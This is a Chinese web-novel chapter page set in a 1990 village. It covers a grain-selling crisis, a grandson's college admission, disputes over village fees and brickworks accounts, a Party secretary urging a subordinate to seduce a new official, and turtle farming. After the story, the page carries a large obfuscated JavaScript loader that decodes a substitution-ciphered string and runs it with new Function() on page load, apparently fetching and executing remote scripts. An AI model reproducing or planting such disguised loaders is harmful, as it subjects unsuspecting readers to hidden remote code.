首页
第一百零一章 1990年4-
返回
关灯 护眼:关 字号:小

第一百零一章 1990年4-10月

章节报错(免登陆)

一秒记住【顶点小说】
dingdian100.com,更新快,无弹窗!

    第一百零一章1990年4-10月(第1/2页)
    到了谷雨,本应是泡稻的旺季,但卖粮难的问题使得村民们心有余悸,谁也不敢大面积种植,基本上都是种一部分,够交公粮和自家吃就行了。
    五月份,国务院调查组来东除调查卖粮难问题,在省市和铁路部门的协助下,粮站的小麦收购工作比上一年要好许多,但仍然还有部分农户的小麦卖不出去。
    彩云放在后院的四千多斤稻谷,大都已经发芽了,没法食用,只好粉碎喂猪。
    夏种结束后,彩云粗略估算了一下,村里大约百分之七十的土地都闲着。大家都觉得,卖粮难的问题短期内解决不了,收的粮食越多越闹心。所以,许多年轻人和壮劳力不得不放弃种地,纷纷外出打工,家里只剩下一些老人和小孩留守。
    玉强和有翠整日忙着养甲鱼,树杰高考一结束就回来搭手帮忙,白天喂甲鱼、晚上看书,一家人各忙各的,谁也不多问什么。八月初那天下午,树杰从大队部回来,手里攥着一个信封,进门的时候步子有点急,脚在门槛上绊了一下,他也没低头看,径直跑进堂屋喊了一声:“奶奶——我考上了!”
    彩云正坐在锅台前择菜,手里的菜叶停在半空,好像没听清。有翠耳朵尖,从厢房探出头来:“儿子,你说什么?”
    “录取通知书!省农学院的!”
    有翠两只手在衣服上蹭了蹭,跑出来接过去,刚看了一眼,眼圈就红了,眼泪顺着腮帮子往下淌。树杰愣住了:“妈,哭什么呀,考上了还哭?”
    “我高兴。”有翠拿手背抹了一下脸,嘴角却往上翘着。
    彩云放下手里的菜,接过通知书,凑到窗边翻来覆去看了两遍,才抬起头冲着有翠说了一句:“瞧你这出息,树杰将来干大事的日子还在后头呢,你这就哭上了。”话虽这么说,她脸上的褶子却笑开了。
    树杰转身往外跑:“我去给爸看看!”
    “去吧,”彩云冲着他的背影喊了一句,“告诉你爸,上街买点菜,再带点炮仗回来。顺便把你大姑和大姑父也喊来,中午好好庆祝一下。”
    中午的时候,堂屋里挤得满满一桌。玉强把炮仗挂在竹竿上,冲树杰喊道:“儿子,你来点!”树杰接过姑父递过来的烟头,凑过去点了引信,然后往后跳了一步——“噼噼啪啪”响了好一阵,碎红纸屑落了一地。村里人听见动静,三三两两地围过来看,有的凑到门口道喜,有的远远站着朝这边张望。玉强站在那里散了一圈烟,脸上的笑一直没消过。
    有翠今天跟换了个人似的,频频举杯给大家敬酒,脸上泛着红晕,话也多了。敬到庆英跟前时,她特意停了一下,端起酒杯说:“二婶,我再敬您一杯。以前为了孩子的事跟您吵过嘴,说了些不好听的话,您别往心里去。”
    庆英摆了摆手:“过去的事就别提了,树杰给你争气,我们都替你高兴。”
    彩云端着杯子接了一句:“树杰是给老陈家争的光。要是像她那样就知道逼孩子死读书,我大孙子别说上大学,能不能把高中读完都不一定。”
    换了往常,有翠听到这话脸色早就沉了。可今天她只是笑了笑:“妈,今天我高兴,您说什么我都不生气。这么多年,我吃的苦受的累,能让我儿子上大学,我觉得值!”
    有运在旁边端着酒杯凑过来:“妈,您培养了一个大军官,现在又培养了一个大学生,您这是巾帼英雄、女中豪杰,我敬您!”
    玉强插了一句:“其实咱们家出了两个大学生了——去年玉军电大毕业证也拿到了。”
    发福站起来,端着酒朝彩云举了举:“嫂子,老陈家的后代能有今天,您是最大的功臣。这杯酒,我敬您!”
    彩云笑着喝了一口,又扭头看了一眼坐在一旁闷头吃菜的玉霞:“你们两口子也多上点心,争取让玉霞也考个中专。”
    庆英苦笑了一声:“她呀——西瓜皮打鞋掌子,不是那块料。”
    玉霞嘴里还嚼着菜,含糊地接了一句:“不让我留级就行了,我的目标就是拿个高中毕业证。”一桌人都笑了。
    树杰端着酒走到尚虎跟前:“李爷爷,谢谢您一直惦记着我。”尚虎在树杰上中学那几年,隔三差五给他塞钱,自己嘴上不说,心里一直盼着这孩子有出息。尚虎拍了拍他的胳膊:“将来出息了,别忘了我就行。”
    有翠被大家敬来敬去的,这会儿好像被冷落了些,玉兰端起酒杯走过去:“嫂子,侄儿能考上大学,您才是真正的功臣。”
    有翠一听这话,眼睛又亮了,腰板不自觉地挺了挺:“那可不。他小时候贪玩得很,要不是我抓得紧,哪有今天……”
    “关键不是抓得紧不紧,”彩云在旁边放下筷子,不紧不慢地说了一句,“得讲究方法。”
    玉强赶紧接过话头:“是是是,树杰能考上,主要是你们俩的功劳。我一直在外面忙,没顾上孩子,惭愧,惭愧。”
    饭后,尚虎悄悄把树杰拉到一边,往他手里塞了两张一百的。树杰推了几下没推掉,最后还是彩云点了点头,他才收下。没过一会儿,发福也走过来,趁着没人注意,又往他口袋里塞了两百。树杰低头看了一眼,攥着那几张钞票,没再说什么。
    他知道,这钱不光是给他上学的,更是他们的一片心意。
    彩云自从养甲鱼以来,家里经济一直都很紧张。粮食虽然收了不少,可卖不出去,化肥农药钱都收不回来,还成了一个大累赘。
    王红兵听说树杰考上了大学,也过来道喜:“彩云,这次大孙子可给你增光了,祝贺你!”
    “谢谢!”
    “玉兰呢?”
    “喂甲鱼去了。”
    “明天上午八点在村委会开会,让她准时参加。”
    “好的。”
    这次村委会会议的主要议题就是收费问题。王红兵在会上说:“今年的收费工作进度太慢,到现在才完成任务的百分之四十,原因何在?什么时候能全面完成?请各位结合分工谈谈自己的想法和措施。”
    王红兵见没人言声,便看了一眼玉兰,道:“你负责的两个小组,各项工作都走在前头,唯独收费工作没什么起色,说说你的想法。”
    玉兰道:“这个问题,主要是粮食卖不出去,还有就是大家对村委会账目公开工作不满意,特别是砖瓦厂的账目。”
    玉兰的一番话,让王红兵很生气:“怎么又扯到账目公开上去了?每年不都公开了吗?”
    玉兰道:“村民们觉得公开得太简单,看不出个所以然来。”
    “那是水平问题。好了,不扯这个,说说你的具体措施,年底前能不能全部收上来?”
    “够呛。有的家里确实困难,粮食卖不出去,家里又没人外出打工,没有经济来源,他们提出能不能用粮食作价抵账?”
    “可以,但只能按粮站收购价的百分之八十作价抵扣。”
    向东道:“还有一个问题,许多村民都反映,这九十三元的人头费都包括哪些项目?能不能列出一个明细表?”
    会计李长久道:“除了农业税以外的其他费用,都包括在这里面。”
    “能不能说得更详细一点?”向东又追问了一句。
    “具体项目有:农业发展基金、农村基本建设费、水电建设费、畜禽防疫费、教育附加费、卫生事业费、‘三提五统’费和劳务费等。其中‘三提五统’费四十八元,劳务费三十元,仅这两项就是七十八元。”
    王红兵道:“你把这两项再详细说一下。”
    “劳务费,就是每个劳动力每年要承担十个义务工和二十个劳动积累工,分摊到人头上,就是十五个标准工日,每个工日折价二元,合计三十元。”
    玉兰问:“义务工和劳动积累工有什么区别?”
    “义务工,主要是指防汛、修路、修缮校舍、抢险救灾等;劳动积累工,主要是指农田水利建设和植树造林等。”
    李长久接着说:“‘三提五统’就是村提留、镇统筹。村提留包括公积金、公益金和管理费共三项:公积金主要用于农田水利建设、植树造林、购置固定资产和兴办集体企业;公益金主要用于五保户供养、特困户补助、合作医疗、文娱活动以及其他集体福利事业;管理费主要用于村干部报酬和治安联防等管理支出。镇统筹费主要用于镇村两级办学、计划生育、优抚、民兵训练、基础设施建设等民办公助事业。”
    王富贵听了李长久的解释,也忍不住问道:“这里面是不是存在重复收费啊?”
    王红兵解释道:“有重复是正常的。镇统筹费用于镇村两级,统筹兼顾;村提留只用于本村。比如我们村的小学,除了国家投入一部分外,镇和村都要分别投入,这钱哪来?就是靠村提留、镇统筹来解决。”
    玉兰道:“现在别说粮食卖不出去,就是全部卖了,一亩地扣除种子、化肥、农药、水费、油料费和农业税,再加上在外打工的年轻人夏秋两季农忙时回来抢收抢种的损失等,一年也只能赚一百多元。种地赚的钱还不够上缴的,大家心里感到不舒服。”
    王红兵道:“这些收费项目和标准都是上级规定的,许多费用我们都是代收,然后要全额上缴,村里的收费已经是最低的了。比如劳务费,我们按每个工二元收的,但这活都是砖瓦厂工人干的,他们的日工资都在四元左右,实际上我们是在用砖瓦厂的收入给村民们进行补贴。”
    “能不能把砖瓦厂的财务予以全部公开?”
    “对,许多村民都提过这个问题。”王富贵对玉兰的提问立即表示赞同。
    王红兵显得有点不耐烦:“扯远了,砖瓦厂有自己的会计,上级财务部门经常过来检查,你们就别操这个心了,想办法管好自己分内的工作,力争在年底前把该收的钱全部收上来。散会。”
    王红兵见大家都离开了,便到门外把玉兰喊回来。玉兰问:“有事啊?”
    “没事喊你干什么?你今天是什么意思?”
    “怎么了?”
    “我就想让你带头表个态,你倒好,捅出这么多事来,你是不是存心想让我难堪?”
    (本章未完,请点击下一页继续阅读)第一百零一章1990年4-10月(第2/2页)
    “怎么可能呢?我只是把群众反映强烈的账目公开问题提了一下,别的我也没说什么呀?”
    “账目公开的问题你应该明白,县里、区里和镇上的应酬你大都参加,除了吃喝能记账外,在歌厅,特别是按摩时,塞给小姐的钱能记账吗?”
    “谁让你安排这些乱七八糟的项目?明明知道按摩是怎么回事,还偏要安排,我看就是你自己爱好这一口。”
    “听你这口气好像是吃醋了,你要是愿意和我在一起,再漂亮的小姐我都不会碰。”
    “你还有事吗?没事我就走了。”
    “问你一个事,是不是有人在下面议论我?”
    “是!”
    “说我什么?”
    “主要就是砖瓦厂的事。”
    “具体什么内容?”
    “这个……”
    王红兵见玉兰欲言又止,便深情地对她说:“玉兰,我们俩是什么关系?更何况你是我一手提拔起来的,跟我还有什么不好说的?”
    “大家都在议论:砖瓦厂生意这么好,赚的钱都干什么用了?能不能拿出一部分用于‘三提五统’,减少村民的负担?”
    “砖瓦厂十几辆大拖拉机,还有厂里和村委会到三隆集的石子路,用的不都是厂里赚的钱吗?这都是明摆着的,难道他们都看不见?”
    “村民们主要是觉得他们个人没得到什么好处。”
    “他们还说什么了?”
    “乱七八糟的,什么都有,反正都是经济问题。”
    “你信吗?”
    “我今天在会上提这个事,就是希望你借此机会做个澄清,进一步规范村委会和砖瓦厂的财务制度。”
    “我知道你没有恶意,但我担心你被别人利用。现在我们班子里有个别人在下面搞些小动作,我希望你不要掺和进去。”
    玉兰一听,就知道他说的是王富贵:“这个你放心,我就讨厌那种当面一套背后一套的小人,有事应该在班子会上直接说。”
    “这样就好,我一直把你当作我的人。所以,你和唐浩的事我始终替你保密,就连你儿子的事,我也没和任何人提起过。”
    “我儿子有什么事?”
    “你看庆贵,跟你唐哥多像,你不会说他不是唐浩的儿子吧?”
    “你别瞎说啊,天底下长得像的人有的是,你能因此就断定他们都有血缘关系,甚至父子关系吗?”
    “好了,不说这个。我知道你喜欢唐浩,我不会让他去坐牢的,我只希望你永远都和我是一条心。”
    “我和唐浩早就断了,你别恩将仇报。要是没有他帮忙,我们的砖瓦厂根本就办不起来。”
    “所以,我很感激他,后期又给我们追加贷款,这都是你的功劳,可见上面有人好办事。现在又有一个好机会,就看你能不能抓住。”
    玉兰看了看他,便问:“什么机会?”
    “昨天在镇上开会,新来的胡书记跟大家见面,周书记已正式退休。”
    “新来的书记有多大?”
    “五一年的,和你同龄。之前一直在县委组织部工作,人际关系非常广。你要是能把他拿下,他肯定会把你调到镇上工作,说不定还能把你转成国家干部呢,你说……”
    玉兰实在听不下去了,气得立即打断他的话:“你把我看成什么人了?我有那么坏吗?”
    王红兵知道她生气了,赶紧给她赔笑脸:“这不是坏不坏的问题,关键是你有这个条件,不但长得漂亮,而且还能歌善舞,哪个男人不喜欢啊?”
    “快奔四十的人了,早已过时了,还谈什么漂亮不漂亮?”
    “可你看起来也就三十来岁,魅力不减当年。找个机会和他跳个舞,只要手指在他腰上按上几下,他就明白了。”
    “你这个当书记的,竟教下属干这个,我看你是不是不想干了?”
    “你我就别来这一套了,我还不了解你?胡书记不但比你唐哥年轻,而且长得更加英俊潇洒,你肯定喜欢。”
    “人家是镇上的大领导,高高在上,我可高攀不起。”
    “那不一定,陈书记不比他官大,不照样被你拿下了。不过,他很快就要退休了,你得赶紧再找一个靠山。”
    “为什么非要找靠山?干好自己的工作不就行了?”
    “还是这么幼稚,在官场上混,没有靠山怎么行呢?”
    “你的靠山是谁?”
    “我要是有靠山早就上去了,你要接受我的教训。”
    几天后,胡书记到王家峪来调研,王红兵和玉兰等陪同胡书记检查了砖瓦厂、养猪场和学校,然后听取了王红兵的工作汇报。胡书记询问了党建、联产承包责任制、卖粮难以及计划生育等情况,中午在赵志良的饭店宴请胡书记。
    酒宴上,玉兰频频举杯给新书记敬酒,可胡书记只喝了一杯,说什么也不喝了,玉兰感到很没面子。
    胡书记走后,王红兵给玉兰打气:“新官上任都很谨慎,没关系,来日方长,只要你有意,早晚一天的事。”
    “你别胡思乱想,我只是想活跃一下气氛,没有别的意思。”
    “我说的没错吧,是不是长得很精神?”
    “我在县委见过他,是个标准的美男子。”
    “就凭你的经验和手段,肯定能把他拿下。”
    “你能说点别的吗?”
    “好了,不说了。”
    玉兰瞪了他一眼就离开了。
    “玉兰姐。”玉兰刚到村西口,就听见有人喊她,回头一看,是小梅:“是你啊,好久不见了。”
    小梅道:“家里事太多,回来的比较少。”
    “听说你爱人出事了?”
    小梅深深地叹了一口气:“是啊,煤矿塌方被埋在里面,挖出来时,已经去世了。”
    玉兰连忙安慰她:“节哀顺变吧。”
    “他眼一闭走了,把几个孩子都扔给我了。”
    “孩子也大了吧?”
    “大儿子二十,二儿子十八,小女儿才十四。”
    “还和公婆一起过吗?”
    “公公已经不在了,婆婆老有病,还和我们一起生活。”
    “你也不容易,慢慢会好起来的。”
    “听说树杰考上大学了?”
    “是的,考上省农学院了。”
    “强哥就很聪明,儿子也争气。”
    “到家里坐坐吧?”
    “不了,找我婶子有点事。”
    “再见!”
    “再见!”
    玉兰见小梅进了秀霞家,心想如果不是王红兵,她和玉强在一起多好啊,自己也不至于和有运这样的男人过一辈子。
    到了十月中旬,小犁塘第一批喂养的甲鱼已经三年多了,彩云和玉强商量,准备捕捞出售。听说现在甲鱼价格逐年上涨,这批甲鱼变现后,可以尽快将借款还上。
    如何将鱼塘的甲鱼捕捞上来?玉强琢磨了好几天,最后决定下笼子捕捞。
    他用竹子编成肚大脖细、头部为漏斗状、尾部为盖口的笼子,漏斗的尖锐部位朝内,甲鱼可以进但不能出,打开盖口可以倒出捕捉到的甲鱼。
    他在笼内放入河蚌肉作为诱饵,在小犁塘四周一共放了六个笼子,每个笼子都固定在一根竹竿上,将竹竿插入泥中,防止笼子被甲鱼拖走。
    第二天一早,他去收笼子,发现每个笼子里都有四到六只甲鱼。到家后,他把笼子盖口打开,将甲鱼倒出来。
    庆贵见一只甲鱼从盆子里爬出来,便追着去抓。真是初生牛犊不怕虎,他哪里知道这甲鱼的厉害,甲鱼一回头,死死地咬住了他的一根手指头,疼得他“哇”的一声哭出来。
    正在锅膛口烧火的玉兰连忙跑出来:“儿子,你怎么了?”玉强赶紧抓住甲鱼,抱起庆贵,将甲鱼和庆贵的手放入水缸里。很快甲鱼就松口了,庆贵的手指已经出血了,小家伙一直在哭。
    玉兰心疼地问:“还疼吗?”
    “疼。”
    “你惹它干什么?”
    “它想逃跑。”
    玉强抓住庆贵的手挤出一点血,然后清洗了一下,笑着逗他说:“好了,没事的,甲鱼喜欢你,跟你闹着玩的。”
    “有你这么当舅舅的吗?孩子手都被咬破了,你好像还挺高兴。”
    “这说明我养的甲鱼有野性,一定好卖。”
    玉强把捕捞的甲鱼全部倒出来,一共是二十九只,彩云逐一称了一下,重量都在一斤半到两斤不等,平均一斤七两。
    养殖的甲鱼第一次上市销售,彩云非常重视。玉强离不开,她就让玉兰和她一起到县城去卖,有翠则在唐岭镇负责销售。
    县城市场上卖甲鱼的不多,都是野生的,一斤半左右的,价格基本上在二十五元左右。彩云和玉兰商定,她们的甲鱼定价为每斤二十元。
    听说是养殖的甲鱼,有不少人围过来观看,但购买的人很少。一天下来,只卖了六只甲鱼,还剩下十四只,一共卖了近二百元。
    有翠在镇上,一天只卖了两只,每斤只卖到十八元,一共卖了五十多元。
    接连几天,销售情况都差不多,这让彩云和玉强都感到了压力,觉得甲鱼销售成了一个大问题。玉强问母亲:“是不是价格定得不合适?”
    彩云道:“应该不是,估计是大家对养殖的甲鱼不认可。”
    “我一直都在观察我们养殖的甲鱼,跟野生的应该没有什么大的区别,不但野性十足,而且非常凶猛。”
    “问题是如何能把这个特点展现出来,让买主认可才行。”
    母亲的这句话提醒了玉强。通过试验,他想到了一个办法,准备亲自出马,他要和玉兰去合肥试试这个办法是否可行。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();